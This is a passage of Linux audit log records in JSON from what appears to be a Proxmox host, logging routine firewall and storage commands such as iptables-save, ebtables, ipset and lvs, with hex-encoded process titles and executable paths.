nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535445,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.445:61451): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965930636,"@rawstring":"node=pve type=PATH msg=audit(1781965930.636:67713): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535441,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.441:61450): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965930636,"@rawstring":"node=pve type=PATH msg=audit(1781965930.636:67713): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535440,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.440:61449): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965930636,"@rawstring":"node=pve type=PATH msg=audit(1781965930.636:67713): item=0 name=\"/usr/bin/pvesh\" inode=304825 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535440,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.440:61448): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965929812,"@rawstring":"node=pve type=PATH msg=audit(1781965929.812:67712): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535437,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.437:61447): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965929812,"@rawstring":"node=pve type=PATH msg=audit(1781965929.812:67712): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535431,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.431:61446): proctitle=\"ip6tables-save\""} {"@timestamp":1781965929812,"@rawstring":"node=pve type=PATH msg=audit(1781965929.812:67711): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535425,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.425:61445): proctitle=\"iptables-save\""} {"@timestamp":1781965929812,"@rawstring":"node=pve type=PATH msg=audit(1781965929.812:67710): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535418,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.418:61444): proctitle=\"ip6tables-save\""} {"@timestamp":1781965929799,"@rawstring":"node=pve type=PATH msg=audit(1781965929.799:67709): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535412,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.412:61443): proctitle=\"iptables-save\""} {"@timestamp":1781965929799,"@rawstring":"node=pve type=PATH msg=audit(1781965929.799:67709): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535409,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.409:61442): proctitle=\"ebtables-restore\""} {"@timestamp":1781965929799,"@rawstring":"node=pve type=PATH msg=audit(1781965929.799:67708): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535407,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.407:61441): proctitle=\"ebtables-restore\""} {"@timestamp":1781965929799,"@rawstring":"node=pve type=PATH msg=audit(1781965929.799:67707): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535402,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.402:61440): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965926096,"@rawstring":"node=pve type=PATH msg=audit(1781965926.096:67706): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535396,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.396:61439): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965926096,"@rawstring":"node=pve type=PATH msg=audit(1781965926.096:67706): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535389,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.389:61438): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965926093,"@rawstring":"node=pve type=PATH msg=audit(1781965926.093:67705): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535382,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.382:61437): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965926093,"@rawstring":"node=pve type=PATH msg=audit(1781965926.093:67705): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535377,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.377:61436): proctitle=697073657400726573746F7265"} {"@timestamp":1781965926091,"@rawstring":"node=pve type=PATH msg=audit(1781965926.091:67704): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535370,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.370:61435): proctitle=\"ip6tables-save\""} {"@timestamp":1781965926091,"@rawstring":"node=pve type=PATH msg=audit(1781965926.091:67704): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535364,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.364:61434): proctitle=\"iptables-save\""} {"@timestamp":1781965926091,"@rawstring":"node=pve type=PATH msg=audit(1781965926.091:67703): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535361,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.361:61433): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965926087,"@rawstring":"node=pve type=PATH msg=audit(1781965926.087:67702): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535358,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.358:61432): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965926087,"@rawstring":"node=pve type=PATH msg=audit(1781965926.087:67702): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.357:61431): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965926087,"@rawstring":"node=pve type=PATH msg=audit(1781965926.087:67702): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535357,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.357:61430): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965926080,"@rawstring":"node=pve type=PATH msg=audit(1781965926.080:67701): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535352,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.352:61429): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965926080,"@rawstring":"node=pve type=PATH msg=audit(1781965926.080:67701): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535346,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.346:61428): proctitle=\"ip6tables-save\""} {"@timestamp":1781965926071,"@rawstring":"node=pve type=PATH msg=audit(1781965926.071:67700): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535340,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.340:61427): proctitle=\"iptables-save\""} {"@timestamp":1781965926071,"@rawstring":"node=pve type=PATH msg=audit(1781965926.071:67700): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535336,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.336:61426): proctitle=69707365740073617665"} {"@timestamp":1781965926064,"@rawstring":"node=pve type=PATH msg=audit(1781965926.064:67699): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535330,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.330:61425): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965926064,"@rawstring":"node=pve type=PATH msg=audit(1781965926.064:67699): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964535323,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964535.323:61424): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781965926056,"@rawstring":"node=pve type=PATH msg=audit(1781965926.056:67698): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534742,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964534.742:61423): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926056,"@rawstring":"node=pve type=PATH msg=audit(1781965926.056:67698): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534742,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964534.742:61422): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926049,"@rawstring":"node=pve type=PATH msg=audit(1781965926.049:67696): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534742,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964534.742:61421): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926049,"@rawstring":"node=pve type=PATH msg=audit(1781965926.049:67696): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964534.733:61420): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926042,"@rawstring":"node=pve type=PATH msg=audit(1781965926.042:67695): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964534.733:61419): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926042,"@rawstring":"node=pve type=PATH msg=audit(1781965926.042:67695): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534733,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964534.733:61418): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926035,"@rawstring":"node=pve type=PATH msg=audit(1781965926.035:67694): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964534216,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964534.216:61417): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781964534186,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964534.186:61416): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965926035,"@rawstring":"node=pve type=PATH msg=audit(1781965926.035:67694): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964529.724:61415): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926030,"@rawstring":"node=pve type=PATH msg=audit(1781965926.030:67693): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964529.724:61414): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926030,"@rawstring":"node=pve type=PATH msg=audit(1781965926.030:67693): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529724,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964529.724:61413): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926022,"@rawstring":"node=pve type=PATH msg=audit(1781965926.022:67692): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529709,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964529.709:61412): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926022,"@rawstring":"node=pve type=PATH msg=audit(1781965926.022:67692): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529709,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964529.709:61411): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926016,"@rawstring":"node=pve type=PATH msg=audit(1781965926.016:67691): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964529709,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964529.709:61410): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965926016,"@rawstring":"node=pve type=PATH msg=audit(1781965926.016:67691): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525313,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.313:61409): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965926009,"@rawstring":"node=pve type=PATH msg=audit(1781965926.009:67690): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525311,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.311:61408): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965926009,"@rawstring":"node=pve type=PATH msg=audit(1781965926.009:67690): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.309:61407): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965925999,"@rawstring":"node=pve type=PATH msg=audit(1781965925.999:67689): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525309,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.309:61406): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965925999,"@rawstring":"node=pve type=PATH msg=audit(1781965925.999:67689): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525305,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.305:61405): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965925994,"@rawstring":"node=pve type=PATH msg=audit(1781965925.994:67688): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525299,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.299:61404): proctitle=\"ip6tables-save\""} {"@timestamp":1781965925994,"@rawstring":"node=pve type=PATH msg=audit(1781965925.994:67688): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525293,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.293:61403): proctitle=\"iptables-save\""} {"@timestamp":1781965925991,"@rawstring":"node=pve type=PATH msg=audit(1781965925.991:67687): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525286,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.286:61402): proctitle=\"ip6tables-save\""} {"@timestamp":1781965925991,"@rawstring":"node=pve type=PATH msg=audit(1781965925.991:67687): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525279,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.279:61401): proctitle=\"iptables-save\""} {"@timestamp":1781965925990,"@rawstring":"node=pve type=PATH msg=audit(1781965925.990:67686): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525276,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.276:61400): proctitle=\"ebtables-restore\""} {"@timestamp":1781965925990,"@rawstring":"node=pve type=PATH msg=audit(1781965925.990:67686): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525274,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.274:61399): proctitle=\"ebtables-restore\""} {"@timestamp":1781965925990,"@rawstring":"node=pve type=PATH msg=audit(1781965925.990:67685): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525270,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.270:61398): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965925985,"@rawstring":"node=pve type=PATH msg=audit(1781965925.985:67684): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525264,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.264:61397): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965925985,"@rawstring":"node=pve type=PATH msg=audit(1781965925.985:67684): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525259,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.259:61396): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965925985,"@rawstring":"node=pve type=PATH msg=audit(1781965925.985:67684): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525255,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.255:61395): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965925977,"@rawstring":"node=pve type=PATH msg=audit(1781965925.977:67683): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525250,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.250:61394): proctitle=697073657400726573746F7265"} {"@timestamp":1781965925977,"@rawstring":"node=pve type=PATH msg=audit(1781965925.977:67683): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525243,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.243:61393): proctitle=\"ip6tables-save\""} {"@timestamp":1781965925969,"@rawstring":"node=pve type=PATH msg=audit(1781965925.969:67682): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525237,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.237:61392): proctitle=\"iptables-save\""} {"@timestamp":1781965925969,"@rawstring":"node=pve type=PATH msg=audit(1781965925.969:67682): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964525233,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781964525.233:61391): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965925962,"@rawstring":"node=pve type=PATH msg=audit(1781965925.962:67681): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL 